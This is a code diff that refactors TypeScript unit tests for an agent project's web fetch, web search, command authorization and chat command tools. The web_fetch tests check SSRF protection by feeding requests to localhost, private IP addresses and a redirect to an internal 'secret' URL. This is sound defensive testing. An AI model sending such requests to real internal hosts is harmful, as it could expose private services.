||||
}
|
||||
|
||||
function setMockFetch(impl?: (...args: unknown[]) => unknown) {
|
||||
const fetchSpy = vi.fn(impl);
|
||||
global.fetch = fetchSpy as typeof fetch;
|
||||
return fetchSpy;
|
||||
}
|
||||
|
||||
async function createWebFetchToolForTest(params?: {
|
||||
firecrawl?: { enabled?: boolean; apiKey?: string };
|
||||
}) {
|
||||
const { createWebFetchTool } = await import("./web-tools.js");
|
||||
return createWebFetchTool({
|
||||
config: {
|
||||
tools: {
|
||||
web: {
|
||||
fetch: {
|
||||
cacheTtlMinutes: 0,
|
||||
firecrawl: params?.firecrawl ?? { enabled: false },
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
describe("web_fetch SSRF protection", () => {
|
||||
const priorFetch = global.fetch;
|
||||
|
||||
@@ -45,22 +69,9 @@ describe("web_fetch SSRF protection", () => {
|
||||
});
|
||||
|
||||
it("blocks localhost hostnames before fetch/firecrawl", async () => {
|
||||
const fetchSpy = vi.fn();
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = fetchSpy;
|
||||
|
||||
const { createWebFetchTool } = await import("./web-tools.js");
|
||||
const tool = createWebFetchTool({
|
||||
config: {
|
||||
tools: {
|
||||
web: {
|
||||
fetch: {
|
||||
cacheTtlMinutes: 0,
|
||||
firecrawl: { apiKey: "firecrawl-test" },
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
const fetchSpy = setMockFetch();
|
||||
const tool = await createWebFetchToolForTest({
|
||||
firecrawl: { apiKey: "firecrawl-test" },
|
||||
});
|
||||
|
||||
await expect(tool?.execute?.("call", { url: "http://localhost/test" })).rejects.toThrow(
|
||||
@@ -71,16 +82,8 @@ describe("web_fetch SSRF protection", () => {
|
||||
});
|
||||
|
||||
it("blocks private IP literals without DNS", async () => {
|
||||
const fetchSpy = vi.fn();
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = fetchSpy;
|
||||
|
||||
const { createWebFetchTool } = await import("./web-tools.js");
|
||||
const tool = createWebFetchTool({
|
||||
config: {
|
||||
tools: { web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false } } } },
|
||||
},
|
||||
});
|
||||
const fetchSpy = setMockFetch();
|
||||
const tool = await createWebFetchToolForTest();
|
||||
|
||||
await expect(tool?.execute?.("call", { url: "http://127.0.0.1/test" })).rejects.toThrow(
|
||||
/private|internal|blocked/i,
|
||||
@@ -100,16 +103,8 @@ describe("web_fetch SSRF protection", () => {
|
||||
return [{ address: "10.0.0.5", family: 4 }];
|
||||
});
|
||||
|
||||
const fetchSpy = vi.fn();
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = fetchSpy;
|
||||
|
||||
const { createWebFetchTool } = await import("./web-tools.js");
|
||||
const tool = createWebFetchTool({
|
||||
config: {
|
||||
tools: { web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false } } } },
|
||||
},
|
||||
});
|
||||
const fetchSpy = setMockFetch();
|
||||
const tool = await createWebFetchToolForTest();
|
||||
|
||||
await expect(tool?.execute?.("call", { url: "https://private.test/resource" })).rejects.toThrow(
|
||||
/private|internal|blocked/i,
|
||||
@@ -120,19 +115,11 @@ describe("web_fetch SSRF protection", () => {
|
||||
it("blocks redirects to private hosts", async () => {
|
||||
lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]);
|
||||
|
||||
const fetchSpy = vi.fn().mockResolvedValueOnce(redirectResponse("http://127.0.0.1/secret"));
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = fetchSpy;
|
||||
|
||||
const { createWebFetchTool } = await import("./web-tools.js");
|
||||
const tool = createWebFetchTool({
|
||||
config: {
|
||||
tools: {
|
||||
web: {
|
||||
fetch: { cacheTtlMinutes: 0, firecrawl: { apiKey: "firecrawl-test" } },
|
||||
},
|
||||
},
|
||||
},
|
||||
const fetchSpy = setMockFetch().mockResolvedValueOnce(
|
||||
redirectResponse("http://127.0.0.1/secret"),
|
||||
);
|
||||
const tool = await createWebFetchToolForTest({
|
||||
firecrawl: { apiKey: "firecrawl-test" },
|
||||
});
|
||||
|
||||
await expect(tool?.execute?.("call", { url: "https://example.com" })).rejects.toThrow(
|
||||
@@ -144,16 +131,8 @@ describe("web_fetch SSRF protection", () => {
|
||||
it("allows public hosts", async () => {
|
||||
lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]);
|
||||
|
||||
const fetchSpy = vi.fn().mockResolvedValue(textResponse("ok"));
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = fetchSpy;
|
||||
|
||||
const { createWebFetchTool } = await import("./web-tools.js");
|
||||
const tool = createWebFetchTool({
|
||||
config: {
|
||||
tools: { web: { fetch: { cacheTtlMinutes: 0, firecrawl: { enabled: false } } } },
|
||||
},
|
||||
});
|
||||
setMockFetch().mockResolvedValue(textResponse("ok"));
|
||||
const tool = await createWebFetchToolForTest();
|
||||
|
||||
const result = await tool?.execute?.("call", { url: "https://example.com" });
|
||||
expect(result?.details).toMatchObject({
|
||||
|
||||
49
src/agents/tools/web-fetch.test-harness.ts
Normal file
49
src/agents/tools/web-fetch.test-harness.ts
Normal file
@@ -0,0 +1,49 @@
|
||||
import { afterEach, beforeEach, vi } from "vitest";
|
||||
import * as ssrf from "../../infra/net/ssrf.js";
|
||||
|
||||
export function installWebFetchSsrfHarness() {
|
||||
const lookupMock = vi.fn();
|
||||
const resolvePinnedHostname = ssrf.resolvePinnedHostname;
|
||||
const priorFetch = global.fetch;
|
||||
|
||||
beforeEach(() => {
|
||||
lookupMock.mockResolvedValue([{ address: "93.184.216.34", family: 4 }]);
|
||||
vi.spyOn(ssrf, "resolvePinnedHostname").mockImplementation((hostname) =>
|
||||
resolvePinnedHostname(hostname, lookupMock),
|
||||
);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
global.fetch = priorFetch;
|
||||
lookupMock.mockReset();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
}
|
||||
|
||||
export function createBaseWebFetchToolConfig(opts?: { maxResponseBytes?: number }): {
|
||||
config: {
|
||||
tools: {
|
||||
web: {
|
||||
fetch: {
|
||||
cacheTtlMinutes: number;
|
||||
firecrawl: { enabled: boolean };
|
||||
maxResponseBytes?: number;
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
} {
|
||||
return {
|
||||
config: {
|
||||
tools: {
|
||||
web: {
|
||||
fetch: {
|
||||
cacheTtlMinutes: 0,
|
||||
firecrawl: { enabled: false },
|
||||
...(opts?.maxResponseBytes ? { maxResponseBytes: opts.maxResponseBytes } : {}),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
}
|
||||
14
src/agents/tools/web-fetch.test-mocks.ts
Normal file
14
src/agents/tools/web-fetch.test-mocks.ts
Normal file
@@ -0,0 +1,14 @@
|
||||
import { vi } from "vitest";
|
||||
|
||||
// Avoid dynamic-importing heavy readability deps in unit test suites.
|
||||
vi.mock("./web-fetch-utils.js", async () => {
|
||||
const actual =
|
||||
await vi.importActual<typeof import("./web-fetch-utils.js")>("./web-fetch-utils.js");
|
||||
return {
|
||||
...actual,
|
||||
extractReadableContent: vi.fn().mockResolvedValue({
|
||||
title: "HTML Page",
|
||||
text: "HTML Page\n\nContent here.",
|
||||
}),
|
||||
};
|
||||
});
|
||||
@@ -1,6 +1,34 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { createWebFetchTool, createWebSearchTool } from "./web-tools.js";
|
||||
|
||||
function installMockFetch(payload: unknown) {
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve(payload),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
return mockFetch;
|
||||
}
|
||||
|
||||
function createPerplexitySearchTool(perplexityConfig?: { apiKey?: string; baseUrl?: string }) {
|
||||
return createWebSearchTool({
|
||||
config: {
|
||||
tools: {
|
||||
web: {
|
||||
search: {
|
||||
provider: "perplexity",
|
||||
...(perplexityConfig ? { perplexity: perplexityConfig } : {}),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
sandboxed: true,
|
||||
});
|
||||
}
|
||||
|
||||
describe("web tools defaults", () => {
|
||||
it("enables web_fetch by default (non-sandbox)", () => {
|
||||
const tool = createWebFetchTool({ config: {}, sandboxed: false });
|
||||
@@ -35,15 +63,7 @@ describe("web_search country and language parameters", () => {
|
||||
});
|
||||
|
||||
it("should pass country parameter to Brave API", async () => {
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve({ web: { results: [] } }),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
|
||||
const mockFetch = installMockFetch({ web: { results: [] } });
|
||||
const tool = createWebSearchTool({ config: undefined, sandboxed: true });
|
||||
expect(tool).not.toBeNull();
|
||||
|
||||
@@ -55,15 +75,7 @@ describe("web_search country and language parameters", () => {
|
||||
});
|
||||
|
||||
it("should pass search_lang parameter to Brave API", async () => {
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve({ web: { results: [] } }),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
|
||||
const mockFetch = installMockFetch({ web: { results: [] } });
|
||||
const tool = createWebSearchTool({ config: undefined, sandboxed: true });
|
||||
await tool?.execute?.(1, { query: "test", search_lang: "de" });
|
||||
|
||||
@@ -72,15 +84,7 @@ describe("web_search country and language parameters", () => {
|
||||
});
|
||||
|
||||
it("should pass ui_lang parameter to Brave API", async () => {
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve({ web: { results: [] } }),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
|
||||
const mockFetch = installMockFetch({ web: { results: [] } });
|
||||
const tool = createWebSearchTool({ config: undefined, sandboxed: true });
|
||||
await tool?.execute?.(1, { query: "test", ui_lang: "de" });
|
||||
|
||||
@@ -89,15 +93,7 @@ describe("web_search country and language parameters", () => {
|
||||
});
|
||||
|
||||
it("should pass freshness parameter to Brave API", async () => {
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve({ web: { results: [] } }),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
|
||||
const mockFetch = installMockFetch({ web: { results: [] } });
|
||||
const tool = createWebSearchTool({ config: undefined, sandboxed: true });
|
||||
await tool?.execute?.(1, { query: "test", freshness: "pw" });
|
||||
|
||||
@@ -106,15 +102,7 @@ describe("web_search country and language parameters", () => {
|
||||
});
|
||||
|
||||
it("rejects invalid freshness values", async () => {
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve({ web: { results: [] } }),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
|
||||
const mockFetch = installMockFetch({ web: { results: [] } });
|
||||
const tool = createWebSearchTool({ config: undefined, sandboxed: true });
|
||||
const result = await tool?.execute?.(1, { query: "test", freshness: "yesterday" });
|
||||
|
||||
@@ -134,19 +122,11 @@ describe("web_search perplexity baseUrl defaults", () => {
|
||||
|
||||
it("defaults to Perplexity direct when PERPLEXITY_API_KEY is set", async () => {
|
||||
vi.stubEnv("PERPLEXITY_API_KEY", "pplx-test");
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
|
||||
const tool = createWebSearchTool({
|
||||
config: { tools: { web: { search: { provider: "perplexity" } } } },
|
||||
sandboxed: true,
|
||||
const mockFetch = installMockFetch({
|
||||
choices: [{ message: { content: "ok" } }],
|
||||
citations: [],
|
||||
});
|
||||
const tool = createPerplexitySearchTool();
|
||||
await tool?.execute?.(1, { query: "test-openrouter" });
|
||||
|
||||
expect(mockFetch).toHaveBeenCalled();
|
||||
@@ -161,19 +141,11 @@ describe("web_search perplexity baseUrl defaults", () => {
|
||||
|
||||
it("passes freshness to Perplexity provider as search_recency_filter", async () => {
|
||||
vi.stubEnv("PERPLEXITY_API_KEY", "pplx-test");
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
|
||||
const tool = createWebSearchTool({
|
||||
config: { tools: { web: { search: { provider: "perplexity" } } } },
|
||||
sandboxed: true,
|
||||
const mockFetch = installMockFetch({
|
||||
choices: [{ message: { content: "ok" } }],
|
||||
citations: [],
|
||||
});
|
||||
const tool = createPerplexitySearchTool();
|
||||
await tool?.execute?.(1, { query: "perplexity-freshness-test", freshness: "pw" });
|
||||
|
||||
expect(mockFetch).toHaveBeenCalledOnce();
|
||||
@@ -184,19 +156,11 @@ describe("web_search perplexity baseUrl defaults", () => {
|
||||
it("defaults to OpenRouter when OPENROUTER_API_KEY is set", async () => {
|
||||
vi.stubEnv("PERPLEXITY_API_KEY", "");
|
||||
vi.stubEnv("OPENROUTER_API_KEY", "sk-or-test");
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
|
||||
const tool = createWebSearchTool({
|
||||
config: { tools: { web: { search: { provider: "perplexity" } } } },
|
||||
sandboxed: true,
|
||||
const mockFetch = installMockFetch({
|
||||
choices: [{ message: { content: "ok" } }],
|
||||
citations: [],
|
||||
});
|
||||
const tool = createPerplexitySearchTool();
|
||||
await tool?.execute?.(1, { query: "test-openrouter-env" });
|
||||
|
||||
expect(mockFetch).toHaveBeenCalled();
|
||||
@@ -212,19 +176,11 @@ describe("web_search perplexity baseUrl defaults", () => {
|
||||
it("prefers PERPLEXITY_API_KEY when both env keys are set", async () => {
|
||||
vi.stubEnv("PERPLEXITY_API_KEY", "pplx-test");
|
||||
vi.stubEnv("OPENROUTER_API_KEY", "sk-or-test");
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
|
||||
const tool = createWebSearchTool({
|
||||
config: { tools: { web: { search: { provider: "perplexity" } } } },
|
||||
sandboxed: true,
|
||||
const mockFetch = installMockFetch({
|
||||
choices: [{ message: { content: "ok" } }],
|
||||
citations: [],
|
||||
});
|
||||
const tool = createPerplexitySearchTool();
|
||||
await tool?.execute?.(1, { query: "test-both-env" });
|
||||
|
||||
expect(mockFetch).toHaveBeenCalled();
|
||||
@@ -233,28 +189,11 @@ describe("web_search perplexity baseUrl defaults", () => {
|
||||
|
||||
it("uses configured baseUrl even when PERPLEXITY_API_KEY is set", async () => {
|
||||
vi.stubEnv("PERPLEXITY_API_KEY", "pplx-test");
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
|
||||
const tool = createWebSearchTool({
|
||||
config: {
|
||||
tools: {
|
||||
web: {
|
||||
search: {
|
||||
provider: "perplexity",
|
||||
perplexity: { baseUrl: "https://example.com/pplx" },
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
sandboxed: true,
|
||||
const mockFetch = installMockFetch({
|
||||
choices: [{ message: { content: "ok" } }],
|
||||
citations: [],
|
||||
});
|
||||
const tool = createPerplexitySearchTool({ baseUrl: "https://example.com/pplx" });
|
||||
await tool?.execute?.(1, { query: "test-config-baseurl" });
|
||||
|
||||
expect(mockFetch).toHaveBeenCalled();
|
||||
@@ -262,28 +201,11 @@ describe("web_search perplexity baseUrl defaults", () => {
|
||||
});
|
||||
|
||||
it("defaults to Perplexity direct when apiKey looks like Perplexity", async () => {
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
|
||||
const tool = createWebSearchTool({
|
||||
config: {
|
||||
tools: {
|
||||
web: {
|
||||
search: {
|
||||
provider: "perplexity",
|
||||
perplexity: { apiKey: "pplx-config" },
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
sandboxed: true,
|
||||
const mockFetch = installMockFetch({
|
||||
choices: [{ message: { content: "ok" } }],
|
||||
citations: [],
|
||||
});
|
||||
const tool = createPerplexitySearchTool({ apiKey: "pplx-config" });
|
||||
await tool?.execute?.(1, { query: "test-config-apikey" });
|
||||
|
||||
expect(mockFetch).toHaveBeenCalled();
|
||||
@@ -291,28 +213,11 @@ describe("web_search perplexity baseUrl defaults", () => {
|
||||
});
|
||||
|
||||
it("defaults to OpenRouter when apiKey looks like OpenRouter", async () => {
|
||||
const mockFetch = vi.fn(() =>
|
||||
Promise.resolve({
|
||||
ok: true,
|
||||
json: () => Promise.resolve({ choices: [{ message: { content: "ok" } }], citations: [] }),
|
||||
} as Response),
|
||||
);
|
||||
// @ts-expect-error mock fetch
|
||||
global.fetch = mockFetch;
|
||||
|
||||
const tool = createWebSearchTool({
|
||||
config: {
|
||||
tools: {
|
||||
web: {
|
||||
search: {
|
||||
provider: "perplexity",
|
||||
perplexity: { apiKey: "sk-or-v1-test" },
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
sandboxed: true,
|
||||
const mockFetch = installMockFetch({
|
||||
choices: [{ message: { content: "ok" } }],
|
||||
citations: [],
|
||||
});
|
||||
const tool = createPerplexitySearchTool({ apiKey: "sk-or-v1-test" });
|
||||
await tool?.execute?.(1, { query: "test-openrouter-config" });
|
||||
|
||||
expect(mockFetch).toHaveBeenCalled();
|
||||
|
||||
@@ -7,48 +7,34 @@ const LIVE = isTruthyEnvValue(process.env.ZAI_LIVE_TEST) || isTruthyEnvValue(pro
|
||||
|
||||
const describeLive = LIVE && ZAI_KEY ? describe : describe.skip;
|
||||
|
||||
async function expectModelReturnsAssistantText(modelId: "glm-4.7" | "glm-4.7-flashx") {
|
||||
const model = getModel("zai", modelId as "glm-4.7");
|
||||
const res = await completeSimple(
|
||||
model,
|
||||
{
|
||||
messages: [
|
||||
{
|
||||
role: "user",
|
||||
content: "Reply with the word ok.",
|
||||
timestamp: Date.now(),
|
||||
},
|
||||
],
|
||||
},
|
||||
{ apiKey: ZAI_KEY, maxTokens: 64 },
|
||||
);
|
||||
const text = res.content
|
||||
.filter((block) => block.type === "text")
|
||||
.map((block) => block.text.trim())
|
||||
.join(" ");
|
||||
expect(text.length).toBeGreaterThan(0);
|
||||
}
|
||||
|
||||
describeLive("zai live", () => {
|
||||
it("returns assistant text", async () => {
|
||||
const model = getModel("zai", "glm-4.7");
|
||||
const res = await completeSimple(
|
||||
model,
|
||||
{
|
||||
messages: [
|
||||
{
|
||||
role: "user",
|
||||
content: "Reply with the word ok.",
|
||||
timestamp: Date.now(),
|
||||
},
|
||||
],
|
||||
},
|
||||
{ apiKey: ZAI_KEY, maxTokens: 64 },
|
||||
);
|
||||
const text = res.content
|
||||
.filter((block) => block.type === "text")
|
||||
.map((block) => block.text.trim())
|
||||
.join(" ");
|
||||
expect(text.length).toBeGreaterThan(0);
|
||||
await expectModelReturnsAssistantText("glm-4.7");
|
||||
}, 20000);
|
||||
|
||||
it("glm-4.7-flashx returns assistant text", async () => {
|
||||
const model = getModel("zai", "glm-4.7-flashx" as "glm-4.7");
|
||||
const res = await completeSimple(
|
||||
model,
|
||||
{
|
||||
messages: [
|
||||
{
|
||||
role: "user",
|
||||
content: "Reply with the word ok.",
|
||||
timestamp: Date.now(),
|
||||
},
|
||||
],
|
||||
},
|
||||
{ apiKey: ZAI_KEY, maxTokens: 64 },
|
||||
);
|
||||
const text = res.content
|
||||
.filter((block) => block.type === "text")
|
||||
.map((block) => block.text.trim())
|
||||
.join(" ");
|
||||
expect(text.length).toBeGreaterThan(0);
|
||||
await expectModelReturnsAssistantText("glm-4.7-flashx");
|
||||
}, 20000);
|
||||
});
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { hasBalancedFences } from "../test-utils/chunk-test-helpers.js";
|
||||
import {
|
||||
chunkByNewline,
|
||||
chunkMarkdownText,
|
||||
@@ -11,22 +12,7 @@ import {
|
||||
|
||||
function expectFencesBalanced(chunks: string[]) {
|
||||
for (const chunk of chunks) {
|
||||
let open: { markerChar: string; markerLen: number } | null = null;
|
||||
for (const line of chunk.split("\n")) {
|
||||
const match = line.match(/^( {0,3})(`{3,}|~{3,})(.*)$/);
|
||||
if (!match) {
|
||||
continue;
|
||||
}
|
||||
const marker = match[2];
|
||||
if (!open) {
|
||||
open = { markerChar: marker[0], markerLen: marker.length };
|
||||
continue;
|
||||
}
|
||||
if (open.markerChar === marker[0] && marker.length >= open.markerLen) {
|
||||
open = null;
|
||||
}
|
||||
}
|
||||
expect(open).toBe(null);
|
||||
expect(hasBalancedFences(chunk)).toBe(true);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -213,84 +213,48 @@ describe("resolveCommandAuthorization", () => {
|
||||
});
|
||||
|
||||
describe("commands.allowFrom", () => {
|
||||
it("uses commands.allowFrom global list when configured", () => {
|
||||
const cfg = {
|
||||
commands: {
|
||||
allowFrom: {
|
||||
"*": ["user123"],
|
||||
},
|
||||
const commandsAllowFromConfig = {
|
||||
commands: {
|
||||
allowFrom: {
|
||||
"*": ["user123"],
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["+different"] } },
|
||||
} as OpenClawConfig;
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["+different"] } },
|
||||
} as OpenClawConfig;
|
||||
|
||||
const authorizedCtx = {
|
||||
function makeWhatsAppContext(senderId: string): MsgContext {
|
||||
return {
|
||||
Provider: "whatsapp",
|
||||
Surface: "whatsapp",
|
||||
From: "whatsapp:user123",
|
||||
SenderId: "user123",
|
||||
From: `whatsapp:${senderId}`,
|
||||
SenderId: senderId,
|
||||
} as MsgContext;
|
||||
}
|
||||
|
||||
const authorizedAuth = resolveCommandAuthorization({
|
||||
ctx: authorizedCtx,
|
||||
cfg,
|
||||
commandAuthorized: true,
|
||||
function resolveWithCommandsAllowFrom(senderId: string, commandAuthorized: boolean) {
|
||||
return resolveCommandAuthorization({
|
||||
ctx: makeWhatsAppContext(senderId),
|
||||
cfg: commandsAllowFromConfig,
|
||||
commandAuthorized,
|
||||
});
|
||||
}
|
||||
|
||||
it("uses commands.allowFrom global list when configured", () => {
|
||||
const authorizedAuth = resolveWithCommandsAllowFrom("user123", true);
|
||||
|
||||
expect(authorizedAuth.isAuthorizedSender).toBe(true);
|
||||
|
||||
const unauthorizedCtx = {
|
||||
Provider: "whatsapp",
|
||||
Surface: "whatsapp",
|
||||
From: "whatsapp:otheruser",
|
||||
SenderId: "otheruser",
|
||||
} as MsgContext;
|
||||
|
||||
const unauthorizedAuth = resolveCommandAuthorization({
|
||||
ctx: unauthorizedCtx,
|
||||
cfg,
|
||||
commandAuthorized: true,
|
||||
});
|
||||
const unauthorizedAuth = resolveWithCommandsAllowFrom("otheruser", true);
|
||||
|
||||
expect(unauthorizedAuth.isAuthorizedSender).toBe(false);
|
||||
});
|
||||
|
||||
it("ignores commandAuthorized when commands.allowFrom is configured", () => {
|
||||
const cfg = {
|
||||
commands: {
|
||||
allowFrom: {
|
||||
"*": ["user123"],
|
||||
},
|
||||
},
|
||||
channels: { whatsapp: { allowFrom: ["+different"] } },
|
||||
} as OpenClawConfig;
|
||||
|
||||
const authorizedCtx = {
|
||||
Provider: "whatsapp",
|
||||
Surface: "whatsapp",
|
||||
From: "whatsapp:user123",
|
||||
SenderId: "user123",
|
||||
} as MsgContext;
|
||||
|
||||
const authorizedAuth = resolveCommandAuthorization({
|
||||
ctx: authorizedCtx,
|
||||
cfg,
|
||||
commandAuthorized: false,
|
||||
});
|
||||
const authorizedAuth = resolveWithCommandsAllowFrom("user123", false);
|
||||
|
||||
expect(authorizedAuth.isAuthorizedSender).toBe(true);
|
||||
|
||||
const unauthorizedCtx = {
|
||||
Provider: "whatsapp",
|
||||
Surface: "whatsapp",
|
||||
From: "whatsapp:otheruser",
|
||||
SenderId: "otheruser",
|
||||
} as MsgContext;
|
||||
|
||||
const unauthorizedAuth = resolveCommandAuthorization({
|
||||
ctx: unauthorizedCtx,
|
||||
cfg,
|
||||
commandAuthorized: false,
|
||||
});
|
||||
const unauthorizedAuth = resolveWithCommandsAllowFrom("otheruser", false);
|
||||
|
||||
expect(unauthorizedAuth.isAuthorizedSender).toBe(false);
|
||||
});
|
||||
|
||||
@@ -171,6 +171,28 @@ describe("commands registry", () => {
|
||||
});
|
||||
|
||||
describe("commands registry args", () => {
|
||||
function createUsageModeCommand(
|
||||
argsParsing: ChatCommandDefinition["argsParsing"] = "positional",
|
||||
description = "mode",
|
||||
): ChatCommandDefinition {
|
||||
return {
|
||||
key: "usage",
|
||||
description: "usage",
|
||||
textAliases: [],
|
||||
scope: "both",
|
||||
argsMenu: "auto",
|
||||
argsParsing,
|
||||
args: [
|
||||
{
|
||||
name: "mode",
|
||||
description,
|
||||
type: "string",
|
||||
choices: ["off", "tokens", "full", "cost"],
|
||||
},
|
||||
],
|
||||
};
|
||||
}
|
||||
|
||||
it("parses positional args and captureRemaining", () => {
|
||||
const command: ChatCommandDefinition = {
|
||||
key: "debug",
|
||||
@@ -209,22 +231,7 @@ describe("commands registry args", () => {
|
||||
});
|
||||
|
||||
it("resolves auto arg menus when missing a choice arg", () => {
|
||||
const command: ChatCommandDefinition = {
|
||||
key: "usage",
|
||||
description: "usage",
|
||||
textAliases: [],
|
||||
scope: "both",
|
||||
argsMenu: "auto",
|
||||
argsParsing: "positional",
|
||||
args: [
|
||||
{
|
||||
name: "mode",
|
||||
description: "mode",
|
||||
type: "string",
|
||||
choices: ["off", "tokens", "full", "cost"],
|
||||
},
|
||||
],
|
||||
};
|
||||
const command = createUsageModeCommand();
|
||||
|
||||
const menu = resolveCommandArgMenu({ command, args: undefined, cfg: {} as never });
|
||||
expect(menu?.arg.name).toBe("mode");
|
||||
@@ -237,22 +244,7 @@ describe("commands registry args", () => {
|
||||
});
|
||||
|
||||
it("does not show menus when arg already provided", () => {
|
||||
const command: ChatCommandDefinition = {
|
||||
key: "usage",
|
||||
description: "usage",
|
||||
textAliases: [],
|
||||
scope: "both",
|
||||
argsMenu: "auto",
|
||||
argsParsing: "positional",
|
||||
args: [
|
||||
{
|
||||
name: "mode",
|
||||
description: "mode",
|
||||
type: "string",
|
||||
choices: ["off", "tokens", "full", "cost"],
|
||||
},
|
||||
],
|
||||
};
|
||||
const command = createUsageModeCommand();
|
||||
|
||||
const menu = resolveCommandArgMenu({
|
||||
command,
|
||||
@@ -299,22 +291,7 @@ describe("commands registry args", () => {
|
||||
});
|
||||
|
||||
it("does not show menus when args were provided as raw text only", () => {
|
||||
const command: ChatCommandDefinition = {
|
||||
key: "usage",
|
||||
description: "usage",
|
||||
textAliases: [],
|
||||
scope: "both",
|
||||
argsMenu: "auto",
|
||||
argsParsing: "none",
|
||||
args: [
|
||||
{
|
||||
name: "mode",
|
||||
description: "on or off",
|
||||
type: "string",
|
||||
choices: ["off", "tokens", "full", "cost"],
|
||||
},
|
||||
],
|
||||
};
|
||||
const command = createUsageModeCommand("none", "on or off");
|
||||
|
||||
const menu = resolveCommandArgMenu({
|
||||
command,
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { buildInboundMediaNote } from "./media-note.js";
|
||||
import { createSuccessfulImageMediaDecision } from "./media-understanding.test-fixtures.js";
|
||||
|
||||
describe("buildInboundMediaNote", () => {
|
||||
it("formats single MediaPath as a media note", () => {
|
||||
@@ -78,31 +79,7 @@ describe("buildInboundMediaNote", () => {
|
||||
const note = buildInboundMediaNote({
|
||||
MediaPaths: ["/tmp/a.png", "/tmp/b.png"],
|
||||
MediaUrls: ["https://example.com/a.png", "https://example.com/b.png"],
|
||||
MediaUnderstandingDecisions: [
|
||||
{
|
||||
capability: "image",
|
||||
outcome: "success",
|
||||
attachments: [
|
||||
{
|
||||
attachmentIndex: 0,
|
||||
attempts: [
|
||||
{
|
||||
type: "provider",
|
||||
outcome: "success",
|
||||
provider: "openai",
|
||||
model: "gpt-5.2",
|
||||
},
|
||||
],
|
||||
chosen: {
|
||||
type: "provider",
|
||||
outcome: "success",
|
||||
provider: "openai",
|
||||
model: "gpt-5.2",
|
||||
},
|
||||
},
|
||||
],
|
||||
},
